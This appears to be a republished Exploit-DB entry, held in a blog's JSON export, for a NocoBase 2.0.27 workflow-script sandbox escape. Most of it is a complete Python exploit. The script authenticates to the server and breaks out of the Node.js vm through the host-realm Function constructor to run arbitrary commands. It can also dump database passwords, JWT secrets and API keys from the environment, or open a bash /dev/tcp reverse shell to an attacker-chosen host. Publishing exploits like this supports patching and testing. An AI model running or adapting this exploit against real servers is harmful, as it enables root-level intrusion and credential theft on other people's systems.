{"id":52110,"date":"2026-05-07T10:34:45","date_gmt":"2026-05-07T10:34:45","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=52110"},"modified":"2026-05-07T10:34:45","modified_gmt":"2026-05-07T10:34:45","slug":"nocobase-2027-vm-sandbox-escape","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=52110","title":{"rendered":"NocoBase  2.0.27 &#8211; VM Sandbox Escape_EDB-ID:52552"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-07T15:27:58&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: NocoBase 2.0.27 &#8211; VM Sandbox Escape Date: 2026-03-26 Exploit Author: Onurcan Gen\u00e7 Vendor Homepage: https:\/\/www.nocobase.com\/ Software Link: https:\/\/github.com\/nocobase\/nocobase Version: = 2.0.27 \u2014 patched in 2.0.28 Tested on: Debian&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-07T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-07T00:00:00&#8243;,&#8221;type&#8221;:&#8221;exploitdb&#8221;,&#8221;title&#8221;:&#8221;NocoBase  2.0.27 &#8211; VM Sandbox Escape&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;EDB-ID:52552&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-34156&#8243;],&#8221;sourceData&#8221;:&#8221;# Exploit Title: NocoBase  2.0.27 &#8211; VM Sandbox Escape \\r\\n# Date: 2026-03-26\\r\\n# Exploit Author: Onurcan Gen\u00e7\\r\\n# Vendor Homepage: https:\/\/www.nocobase.com\/\\r\\n# Software Link: https:\/\/github.com\/nocobase\/nocobase\\r\\n# Version: \\u003c= 2.0.27 \u2014 patched in 2.0.28\\r\\n# Tested on: Debian GNU\/Linux 12 (bookworm) \/ Docker \/ Node.js v20.20.1\\r\\n# CVE: CVE-2026-34156\\r\\n# Advisory: https:\/\/github.com\/nocobase\/nocobase\/security\/advisories\/GHSA-px3p-vgh9-m57c\\r\\n# CWE: CWE-913\\r\\n# CVSS: 9.9 (CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:C\/C:H\/I:H\/A:H)\\r\\n#\\r\\n# Description:\\r\\n#   NocoBase&#8217;s Workflow Script Node executes user-supplied JavaScript inside\\r\\n#   a Node.js vm sandbox with a custom require allowlist. However, the console\\r\\n#   object passed into the sandbox exposes host-realm WritableWorkerStdio\\r\\n#   stream objects (console._stdout \/ console._stderr). By traversing the\\r\\n#   prototype chain (.constructor.constructor), an attacker obtains the host\\r\\n#   realm&#8217;s Function constructor, accesses the process object, and uses\\r\\n#   process.mainModule.require to load child_process \u2014 bypassing the sandbox\\r\\n#   and achieving Remote Code Execution as root.\\r\\n#\\r\\n# Exploitation chain:\\r\\n#   console._stdout.constructor.constructor   \u2192 host-realm Function\\r\\n#   Function(&#8216;return process&#8217;)()              \u2192 Node.js process object\\r\\n#   process.mainModule.require(&#8216;child_process&#8217;) \u2192 unrestricted module\\r\\n#   child_process.execSync(&#8216;id&#8217;)              \u2192 RCE as root\\r\\n#\\r\\n# Usage:\\r\\n#   python3 exploit.py -t \\u003cTARGET\\u003e -u \\u003cUSER\\u003e -P \\u003cPASS\\u003e &#8211;cmd \\&#8221;id\\&#8221;\\r\\n#   python3 exploit.py -t \\u003cTARGET\\u003e -u \\u003cUSER\\u003e -P \\u003cPASS\\u003e &#8211;dump\\r\\n#   python3 exploit.py -t \\u003cTARGET\\u003e -u \\u003cUSER\\u003e -P \\u003cPASS\\u003e -l \\u003cLHOST\\u003e -p \\u003cLPORT\\u003e\\r\\n#\\r\\n# Notes:\\r\\n#   &#8211; Requires valid credentials (any user with workflow access)\\r\\n#   &#8211; Vulnerability check runs automatically before exploitation\\r\\n#   &#8211; Default reverse shell uses bash \/dev\/tcp (Debian-based containers)\\r\\n#   &#8211; Start listener before running: nc -lvnp 4444\\r\\n\\r\\nimport argparse\\r\\nimport json\\r\\nimport requests\\r\\nimport sys\\r\\nimport urllib3\\r\\n\\r\\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\\r\\n\\r\\n# \u2500\u2500\u2500 Colors \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\\r\\n\\r\\nclass C:\\r\\n    RED     = \\&#8221;\\\\033[91m\\&#8221;\\r\\n    GREEN   = \\&#8221;\\\\033[92m\\&#8221;\\r\\n    YELLOW  = \\&#8221;\\\\033[93m\\&#8221;\\r\\n    BLUE    = \\&#8221;\\\\033[94m\\&#8221;\\r\\n    MAGENTA = \\&#8221;\\\\033[95m\\&#8221;\\r\\n    CYAN    = \\&#8221;\\\\033[96m\\&#8221;\\r\\n    WHITE   = \\&#8221;\\\\033[97m\\&#8221;\\r\\n    BOLD    = \\&#8221;\\\\033[1m\\&#8221;\\r\\n    DIM     = \\&#8221;\\\\033[2m\\&#8221;\\r\\n    RESET   = \\&#8221;\\\\033[0m\\&#8221;\\r\\n\\r\\ndef info(msg):    print(f\\&#8221;  {C.BLUE}[*]{C.RESET} {msg}\\&#8221;)\\r\\ndef good(msg):    print(f\\&#8221;  {C.GREEN}[+]{C.RESET} {msg}\\&#8221;)\\r\\ndef warn(msg):    print(f\\&#8221;  {C.YELLOW}[!]{C.RESET} {msg}\\&#8221;)\\r\\ndef fail(msg):    print(f\\&#8221;  {C.RED}[-]{C.RESET} {msg}\\&#8221;)\\r\\ndef result(msg):  print(f\\&#8221;  {C.CYAN}[\u2192]{C.RESET} {msg}\\&#8221;)\\r\\n\\r\\nBANNER = f\\&#8221;\\&#8221;\\&#8221;\\r\\n{C.RED}{C.BOLD}\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\r\\n\u2551  NocoBase Workflow Script Node \u2014 VM Sandbox Escape to RCE      \u2551\\r\\n\u2551  CVE: [CVE-2026-34156]  |  CVSS: 9.9 Critical                        \u2551\\r\\n\u2551  Author: Onurcan Gen\u00e7                                          \u2551\\r\\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d{C.RESET}\\r\\n\\&#8221;\\&#8221;\\&#8221;\\r\\n\\r\\nESCAPE_CHAIN = (\\r\\n    \\&#8221;const Fn=console._stdout.constructor.constructor;\\&#8221;\\r\\n    \\&#8221;const proc=Fn(&#8216;return process&#8217;)();\\&#8221;\\r\\n    \\&#8221;const cp=proc.mainModule.require(&#8216;child_process&#8217;);\\&#8221;\\r\\n)\\r\\n\\r\\n\\r\\n# \u2500\u2500\u2500 Core Functions \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\\r\\n\\r\\ndef authenticate(target: str, username: str, password: str, verify_ssl: bool = False) -\\u003e str:\\r\\n    url = f\\&#8221;{target.rstrip(&#8216;\/&#8217;)}\/api\/auth:signIn\\&#8221;\\r\\n    body = {\\&#8221;account\\&#8221;: username, \\&#8221;password\\&#8221;: password}\\r\\n\\r\\n    print()\\r\\n    info(f\\&#8221;Authenticating as {C.BOLD}{username}{C.RESET}&#8230;\\&#8221;)\\r\\n\\r\\n    try:\\r\\n        resp = requests.post(url, headers={\\&#8221;Content-Type\\&#8221;: \\&#8221;application\/json\\&#8221;},\\r\\n                             json=body, timeout=10, verify=verify_ssl)\\r\\n        data = resp.json()\\r\\n    except requests.exceptions.ConnectionError:\\r\\n        fail(f\\&#8221;Connection failed: cannot reach {C.YELLOW}{url}{C.RESET}\\&#8221;)\\r\\n        sys.exit(1)\\r\\n    except json.JSONDecodeError:\\r\\n        fail(f\\&#8221;Invalid response from server\\&#8221;)\\r\\n        sys.exit(1)\\r\\n\\r\\n    if \\&#8221;errors\\&#8221; in data:\\r\\n        msg = data[\\&#8221;errors\\&#8221;][0].get(\\&#8221;message\\&#8221;, \\&#8221;Unknown error\\&#8221;)\\r\\n        fail(f\\&#8221;Authentication failed: {C.RED}{msg}{C.RESET}\\&#8221;)\\r\\n        sys.exit(1)\\r\\n\\r\\n    token = data.get(\\&#8221;data\\&#8221;, {}).get(\\&#8221;token\\&#8221;)\\r\\n    if not token:\\r\\n        fail(\\&#8221;No token in response\\&#8221;)\\r\\n        sys.exit(1)\\r\\n\\r\\n    nickname = data.get(\\&#8221;data\\&#8221;, {}).get(\\&#8221;user\\&#8221;, {}).get(\\&#8221;nickname\\&#8221;, \\&#8221;unknown\\&#8221;)\\r\\n    user_id = data.get(\\&#8221;data\\&#8221;, {}).get(\\&#8221;user\\&#8221;, {}).get(\\&#8221;id\\&#8221;, \\&#8221;?\\&#8221;)\\r\\n    good(f\\&#8221;Authenticated! User: {C.GREEN}{C.BOLD}{nickname}{C.RESET} (ID: {user_id})\\&#8221;)\\r\\n    good(f\\&#8221;Token: {C.DIM}{token[:25]}&#8230;{token[-10:]}{C.RESET}\\&#8221;)\\r\\n    return token\\r\\n\\r\\n\\r\\ndef send_payload(target: str, token: str, payload: str, verify_ssl: bool = False) -\\u003e dict:\\r\\n    url = f\\&#8221;{target.rstrip(&#8216;\/&#8217;)}\/api\/flow_nodes:test\\&#8221;\\r\\n    headers = {\\r\\n        \\&#8221;Authorization\\&#8221;: f\\&#8221;Bearer {token}\\&#8221;,\\r\\n        \\&#8221;Content-Type\\&#8221;: \\&#8221;application\/json\\&#8221;\\r\\n    }\\r\\n    body = {\\r\\n        \\&#8221;type\\&#8221;: \\&#8221;script\\&#8221;,\\r\\n        \\&#8221;config\\&#8221;: {\\&#8221;content\\&#8221;: payload, \\&#8221;timeout\\&#8221;: 5000, \\&#8221;arguments\\&#8221;: []}\\r\\n    }\\r\\n\\r\\n    try:\\r\\n        resp = requests.post(url, headers=headers, json=body, timeout=10, verify=verify_ssl)\\r\\n        return resp.json()\\r\\n    except requests.exceptions.Timeout:\\r\\n        return {\\&#8221;data\\&#8221;: {\\&#8221;status\\&#8221;: 1, \\&#8221;result\\&#8221;: \\&#8221;timeout (expected for reverse shell)\\&#8221;}}\\r\\n    except requests.exceptions.ConnectionError as e:\\r\\n        return {\\&#8221;error\\&#8221;: f\\&#8221;Connection failed: {e}\\&#8221;}\\r\\n    except json.JSONDecodeError:\\r\\n        return {\\&#8221;error\\&#8221;: \\&#8221;Invalid JSON response\\&#8221;, \\&#8221;raw\\&#8221;: resp.text[:500]}\\r\\n\\r\\n\\r\\ndef verify_vulnerability(target: str, token: str) -\\u003e bool:\\r\\n    print()\\r\\n    print(f\\&#8221;  {C.MAGENTA}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\r\\n    info(f\\&#8221;{C.BOLD}Phase 1: Vulnerability Check{C.RESET}\\&#8221;)\\r\\n    print(f\\&#8221;  {C.MAGENTA}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\r\\n\\r\\n    check_payload = (\\r\\n        \\&#8221;try {\\&#8221;\\r\\n        \\&#8221;  const name = console._stdout.constructor.name;\\&#8221;\\r\\n        \\&#8221;  const fnType = typeof console._stdout.constructor.constructor;\\&#8221;\\r\\n        \\&#8221;  return JSON.stringify({stream: name, fnConstructor: fnType});\\&#8221;\\r\\n        \\&#8221;} catch(e) { return &#8216;ERR: &#8216; + e.message; }\\&#8221;\\r\\n    )\\r\\n    result_data = send_payload(target, token, check_payload)\\r\\n\\r\\n    if \\&#8221;error\\&#8221; in result_data:\\r\\n        fail(f\\&#8221;Connection error: {result_data[&#8216;error&#8217;]}\\&#8221;)\\r\\n        return False\\r\\n\\r\\n    data = result_data.get(\\&#8221;data\\&#8221;, {})\\r\\n\\r\\n    if data.get(\\&#8221;status\\&#8221;) != 1:\\r\\n        if \\&#8221;INVALID_TOKEN\\&#8221; in str(data) or \\&#8221;EMPTY_TOKEN\\&#8221; in str(data):\\r\\n            fail(\\&#8221;Authentication token is invalid or expired\\&#8221;)\\r\\n        else:\\r\\n            fail(f\\&#8221;Unexpected response: {data}\\&#8221;)\\r\\n        return False\\r\\n\\r\\n    try:\\r\\n        check = json.loads(data.get(\\&#8221;result\\&#8221;, \\&#8221;{}\\&#8221;))\\r\\n        stream = check.get(\\&#8221;stream\\&#8221;, \\&#8221;\\&#8221;)\\r\\n        fn_type = check.get(\\&#8221;fnConstructor\\&#8221;, \\&#8221;\\&#8221;)\\r\\n\\r\\n        if stream == \\&#8221;WritableWorkerStdio\\&#8221; and fn_type == \\&#8221;function\\&#8221;:\\r\\n            good(f\\&#8221;Host-realm stream object: {C.GREEN}{C.BOLD}{stream}{C.RESET}\\&#8221;)\\r\\n            good(f\\&#8221;Function constructor:     {C.GREEN}{C.BOLD}accessible{C.RESET}\\&#8221;)\\r\\n            print()\\r\\n            good(f\\&#8221;{C.GREEN}{C.BOLD}TARGET IS VULNERABLE!{C.RESET}\\&#8221;)\\r\\n            return True\\r\\n        else:\\r\\n            fail(f\\&#8221;Unexpected sandbox state: stream={stream}, fn={fn_type}\\&#8221;)\\r\\n            return False\\r\\n    except (json.JSONDecodeError, TypeError):\\r\\n        res = data.get(\\&#8221;result\\&#8221;, \\&#8221;\\&#8221;)\\r\\n        fail(f\\&#8221;Check failed: {res}\\&#8221;)\\r\\n        return False\\r\\n\\r\\n\\r\\n# \u2500\u2500\u2500 Exploit Modes \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\\r\\n\\r\\ndef exploit_cmd(target: str, token: str, cmd: str):\\r\\n    print()\\r\\n    print(f\\&#8221;  {C.MAGENTA}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\r\\n    info(f\\&#8221;{C.BOLD}Phase 2: Command Execution{C.RESET}\\&#8221;)\\r\\n    print(f\\&#8221;  {C.MAGENTA}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\r\\n\\r\\n    info(f\\&#8221;Executing: {C.YELLOW}{cmd}{C.RESET}\\&#8221;)\\r\\n\\r\\n    safe_cmd = cmd.replace(\\&#8221;\\\\\\\\\\&#8221;, \\&#8221;\\\\\\\\\\\\\\\\\\&#8221;).replace(\\&#8221;&#8216;\\&#8221;, \\&#8221;\\\\\\\\&#8217;\\&#8221;).replace(&#8216;\\&#8221;&#8216;, &#8216;\\\\\\\\\\&#8221;&#8216;)\\r\\n    payload = f'{ESCAPE_CHAIN}return cp.execSync(\\&#8221;{safe_cmd}\\&#8221;).toString().trim();&#8217;\\r\\n    resp = send_payload(target, token, payload)\\r\\n\\r\\n    data = resp.get(\\&#8221;data\\&#8221;, {})\\r\\n    if data.get(\\&#8221;status\\&#8221;) == 1:\\r\\n        output = data.get(\\&#8221;result\\&#8221;, \\&#8221;\\&#8221;)\\r\\n        print()\\r\\n        good(f\\&#8221;Output:\\&#8221;)\\r\\n        print(f\\&#8221;  {C.CYAN}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\r\\n        for line in output.split(\\&#8221;\\\\n\\&#8221;):\\r\\n            print(f\\&#8221;  {C.WHITE}{line}{C.RESET}\\&#8221;)\\r\\n        print(f\\&#8221;  {C.CYAN}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\r\\n    else:\\r\\n        fail(f\\&#8221;Execution failed: {data}\\&#8221;)\\r\\n\\r\\n\\r\\ndef exploit_revshell(target: str, token: str, lhost: str, lport: int):\\r\\n    print()\\r\\n    print(f\\&#8221;  {C.MAGENTA}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\r\\n    info(f\\&#8221;{C.BOLD}Phase 2: Reverse Shell{C.RESET}\\&#8221;)\\r\\n    print(f\\&#8221;  {C.MAGENTA}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\r\\n\\r\\n    info(f\\&#8221;Target:   {C.YELLOW}{target}{C.RESET}\\&#8221;)\\r\\n    info(f\\&#8221;Callback: {C.GREEN}{C.BOLD}{lhost}:{lport}{C.RESET}\\&#8221;)\\r\\n    warn(f\\&#8221;Ensure listener is running: {C.BOLD}nc -lvnp {lport}{C.RESET}\\&#8221;)\\r\\n    print()\\r\\n\\r\\n    shell_cmd = f&#8217;bash -c \\&#8221;bash -i \\u003e\\u0026 \/dev\/tcp\/{lhost}\/{lport} 0\\u003e\\u00261\\&#8221;&#8216;\\r\\n    payload = f\\&#8221;{ESCAPE_CHAIN}cp.exec(&#8216;{shell_cmd}&#8217;);return &#8216;shell spawned&#8217;;\\&#8221;\\r\\n    resp = send_payload(target, token, payload)\\r\\n\\r\\n    data = resp.get(\\&#8221;data\\&#8221;, {})\\r\\n    res = data.get(\\&#8221;result\\&#8221;, \\&#8221;\\&#8221;)\\r\\n\\r\\n    if \\&#8221;shell spawned\\&#8221; in str(res) or \\&#8221;timeout\\&#8221; in str(res):\\r\\n        good(f\\&#8221;{C.GREEN}{C.BOLD}Payload delivered! Check your listener.{C.RESET}\\&#8221;)\\r\\n    else:\\r\\n        fail(f\\&#8221;Unexpected response: {data}\\&#8221;)\\r\\n\\r\\n\\r\\ndef exploit_dump(target: str, token: str):\\r\\n    print()\\r\\n    print(f\\&#8221;  {C.MAGENTA}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\r\\n    info(f\\&#8221;{C.BOLD}Phase 2: System \\u0026 Credential Dump{C.RESET}\\&#8221;)\\r\\n    print(f\\&#8221;  {C.MAGENTA}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\r\\n\\r\\n    # System info via shell commands\\r\\n    commands = [\\r\\n        (\\&#8221;User\\&#8221;,        \\&#8221;id\\&#8221;),\\r\\n        (\\&#8221;Hostname\\&#8221;,    \\&#8221;hostname\\&#8221;),\\r\\n        (\\&#8221;OS\\&#8221;,          \\&#8221;cat \/etc\/os-release | grep PRETTY_NAME | cut -d= -f2\\&#8221;),\\r\\n        (\\&#8221;Kernel\\&#8221;,      \\&#8221;uname -r\\&#8221;),\\r\\n        (\\&#8221;Node.js\\&#8221;,     \\&#8221;node &#8211;version\\&#8221;),\\r\\n        (\\&#8221;Working Dir\\&#8221;, \\&#8221;pwd\\&#8221;),\\r\\n    ]\\r\\n\\r\\n    print()\\r\\n    info(f\\&#8221;{C.BOLD}System Information{C.RESET}\\&#8221;)\\r\\n    print(f\\&#8221;  {C.CYAN}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\r\\n\\r\\n    for label, cmd in commands:\\r\\n        safe_cmd = cmd.replace(&#8216;\\&#8221;&#8216;, &#8216;\\\\\\\\\\&#8221;&#8216;)\\r\\n        payload = f'{ESCAPE_CHAIN}return cp.execSync(\\&#8221;{safe_cmd}\\&#8221;).toString().trim();&#8217;\\r\\n        resp = send_payload(target, token, payload)\\r\\n        data = resp.get(\\&#8221;data\\&#8221;, {})\\r\\n        if data.get(\\&#8221;status\\&#8221;) == 1:\\r\\n            out = data.get(\\&#8221;result\\&#8221;, \\&#8221;N\/A\\&#8221;).replace(&#8216;\\&#8221;&#8216;, &#8221;)\\r\\n            print(f\\&#8221;  {C.WHITE}{label:.\\u003c22}{C.RESET} {C.GREEN}{out}{C.RESET}\\&#8221;)\\r\\n\\r\\n    print(f\\&#8221;  {C.CYAN}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\r\\n\\r\\n    # Credentials via JavaScript\\r\\n    print()\\r\\n    info(f\\&#8221;{C.BOLD}Environment Credentials{C.RESET}\\&#8221;)\\r\\n    print(f\\&#8221;  {C.CYAN}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\r\\n\\r\\n    secrets_payload = (\\r\\n        f\\&#8221;{ESCAPE_CHAIN}\\&#8221;\\r\\n        \\&#8221;const env = proc.env;\\&#8221;\\r\\n        \\&#8221;const keys = [&#8216;DB_HOST&#8217;,&#8217;DB_PORT&#8217;,&#8217;DB_DATABASE&#8217;,&#8217;DB_USER&#8217;,&#8217;DB_PASSWORD&#8217;,\\&#8221;\\r\\n        \\&#8221;&#8216;DB_DIALECT&#8217;,&#8217;INIT_ROOT_USERNAME&#8217;,&#8217;INIT_ROOT_PASSWORD&#8217;,&#8217;INIT_ROOT_NICKNAME&#8217;,\\&#8221;\\r\\n        \\&#8221;&#8216;INIT_ROOT_EMAIL&#8217;,&#8217;APP_KEY&#8217;,&#8217;API_KEY&#8217;,&#8217;JWT_SECRET&#8217;,&#8217;SECRET_KEY&#8217;];\\&#8221;\\r\\n        \\&#8221;const out = {}; keys.forEach(k =\\u003e { if(env[k]) out[k] = env[k]; });\\&#8221;\\r\\n        \\&#8221;return JSON.stringify(out);\\&#8221;\\r\\n    )\\r\\n    resp = send_payload(target, token, secrets_payload)\\r\\n    data = resp.get(\\&#8221;data\\&#8221;, {})\\r\\n\\r\\n    if data.get(\\&#8221;status\\&#8221;) == 1:\\r\\n        try:\\r\\n            creds = json.loads(data.get(\\&#8221;result\\&#8221;, \\&#8221;{}\\&#8221;))\\r\\n            for k, v in creds.items():\\r\\n                color = C.RED if \\&#8221;PASS\\&#8221; in k or \\&#8221;SECRET\\&#8221; in k or \\&#8221;KEY\\&#8221; in k else C.YELLOW\\r\\n                print(f\\&#8221;  {C.WHITE}{k:.\\u003c30}{C.RESET} {color}{C.BOLD}{v}{C.RESET}\\&#8221;)\\r\\n        except json.JSONDecodeError:\\r\\n            result(f\\&#8221;Raw: {data.get(&#8216;result&#8217;)}\\&#8221;)\\r\\n\\r\\n    print(f\\&#8221;  {C.CYAN}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\r\\n\\r\\n    # All env vars with sensitive patterns\\r\\n    print()\\r\\n    info(f\\&#8221;{C.BOLD}Additional Secrets (pattern match){C.RESET}\\&#8221;)\\r\\n    print(f\\&#8221;  {C.CYAN}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\r\\n\\r\\n    extra_payload = (\\r\\n        f\\&#8221;{ESCAPE_CHAIN}\\&#8221;\\r\\n        \\&#8221;const env = proc.env;\\&#8221;\\r\\n        \\&#8221;const out = {};\\&#8221;\\r\\n        \\&#8221;for (const k of Object.keys(env)) {\\&#8221;\\r\\n        \\&#8221;  if (\/secret|key|token|pass|auth|jwt|api_key|private\/i.test(k) \\u0026\\u0026 \\&#8221;\\r\\n        \\&#8221;      !k.startsWith(&#8216;npm_&#8217;)) out[k] = env[k];\\&#8221;\\r\\n        \\&#8221;}\\&#8221;\\r\\n        \\&#8221;return JSON.stringify(out);\\&#8221;\\r\\n    )\\r\\n    resp = send_payload(target, token, extra_payload)\\r\\n    data = resp.get(\\&#8221;data\\&#8221;, {})\\r\\n\\r\\n    if data.get(\\&#8221;status\\&#8221;) == 1:\\r\\n        try:\\r\\n            extras = json.loads(data.get(\\&#8221;result\\&#8221;, \\&#8221;{}\\&#8221;))\\r\\n            if extras:\\r\\n                for k, v in extras.items():\\r\\n                    print(f\\&#8221;  {C.WHITE}{k:.\\u003c30}{C.RESET} {C.RED}{C.BOLD}{v}{C.RESET}\\&#8221;)\\r\\n            else:\\r\\n                info(\\&#8221;No additional secrets found\\&#8221;)\\r\\n        except json.JSONDecodeError:\\r\\n            pass\\r\\n\\r\\n    print(f\\&#8221;  {C.CYAN}{&#8216;\u2500&#8217; * 55}{C.RESET}\\&#8221;)\\r\\n\\r\\n\\r\\n# \u2500\u2500\u2500 Main \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\\r\\n\\r\\ndef main():\\r\\n    print(BANNER)\\r\\n\\r\\n    parser = argparse.ArgumentParser(\\r\\n        description=\\&#8221;NocoBase Workflow Script Node \u2014 VM Sandbox Escape to RCE\\&#8221;,\\r\\n        formatter_class=argparse.RawDescriptionHelpFormatter,\\r\\n        epilog=f\\&#8221;\\&#8221;\\&#8221;\\r\\n{C.BOLD}Examples:{C.RESET}\\r\\n  {C.CYAN}Command:{C.RESET}       %(prog)s -t http:\/\/target:13000 -u nocobase -P admin123 &#8211;cmd \\&#8221;id\\&#8221;\\r\\n  {C.CYAN}Dump:{C.RESET}          %(prog)s -t http:\/\/target:13000 -u nocobase -P admin123 &#8211;dump\\r\\n  {C.CYAN}Reverse Shell:{C.RESET} %(prog)s -t http:\/\/target:13000 -u nocobase -P admin123 -l 10.10.14.5 -p 4444\\r\\n        \\&#8221;\\&#8221;\\&#8221;\\r\\n    )\\r\\n    parser.add_argument(\\&#8221;-t\\&#8221;, \\&#8221;&#8211;target\\&#8221;, required=True,\\r\\n                        help=\\&#8221;Target NocoBase URL (e.g., http:\/\/target:13000)\\&#8221;)\\r\\n    parser.add_argument(\\&#8221;-u\\&#8221;, \\&#8221;&#8211;username\\&#8221;, required=True,\\r\\n                        help=\\&#8221;NocoBase username\\&#8221;)\\r\\n    parser.add_argument(\\&#8221;-P\\&#8221;, \\&#8221;&#8211;password\\&#8221;, required=True,\\r\\n                        help=\\&#8221;NocoBase password\\&#8221;)\\r\\n    parser.add_argument(\\&#8221;-l\\&#8221;, \\&#8221;&#8211;lhost\\&#8221;, default=None,\\r\\n                        help=\\&#8221;Listener IP for reverse shell\\&#8221;)\\r\\n    parser.add_argument(\\&#8221;-p\\&#8221;, \\&#8221;&#8211;lport\\&#8221;, type=int, default=4444,\\r\\n                        help=\\&#8221;Listener port (default: 4444)\\&#8221;)\\r\\n    parser.add_argument(\\&#8221;&#8211;cmd\\&#8221;, default=None,\\r\\n                        help=\\&#8221;Execute a single command\\&#8221;)\\r\\n    parser.add_argument(\\&#8221;&#8211;dump\\&#8221;, action=\\&#8221;store_true\\&#8221;,\\r\\n                        help=\\&#8221;Dump system info and credentials\\&#8221;)\\r\\n    parser.add_argument(\\&#8221;&#8211;no-verify\\&#8221;, action=\\&#8221;store_true\\&#8221;,\\r\\n                        help=\\&#8221;Skip vulnerability verification\\&#8221;)\\r\\n\\r\\n    args = parser.parse_args()\\r\\n\\r\\n    if not args.cmd and not args.lhost and not args.dump:\\r\\n        fail(f\\&#8221;Specify {C.BOLD}&#8211;cmd{C.RESET} (command), {C.BOLD}&#8211;dump{C.RESET} (info), or {C.BOLD}-l LHOST{C.RESET} (revshell)\\&#8221;)\\r\\n        sys.exit(1)\\r\\n\\r\\n    # Phase 0: Authenticate\\r\\n    token = authenticate(args.target, args.username, args.password)\\r\\n\\r\\n    # Phase 1: Vulnerability check (always runs unless &#8211;no-verify)\\r\\n    if not args.no_verify:\\r\\n        if not verify_vulnerability(args.target, token):\\r\\n            fail(f\\&#8221;{C.RED}{C.BOLD}TARGET IS NOT VULNERABLE.{C.RESET} Exiting.\\&#8221;)\\r\\n            sys.exit(1)\\r\\n\\r\\n    # Phase 2: Exploit\\r\\n    if args.dump:\\r\\n        exploit_dump(args.target, token)\\r\\n    elif args.cmd:\\r\\n        exploit_cmd(args.target, token, args.cmd)\\r\\n    else:\\r\\n        exploit_revshell(args.target, token, args.lhost, args.lport)\\r\\n\\r\\n    print()\\r\\n    print(f\\&#8221;  {C.GREEN}{C.BOLD}Done.{C.RESET}\\&#8221;)\\r\\n    print()\\r\\n\\r\\n\\r\\nif __name__ == \\&#8221;__main__\\&#8221;:\\r\\n    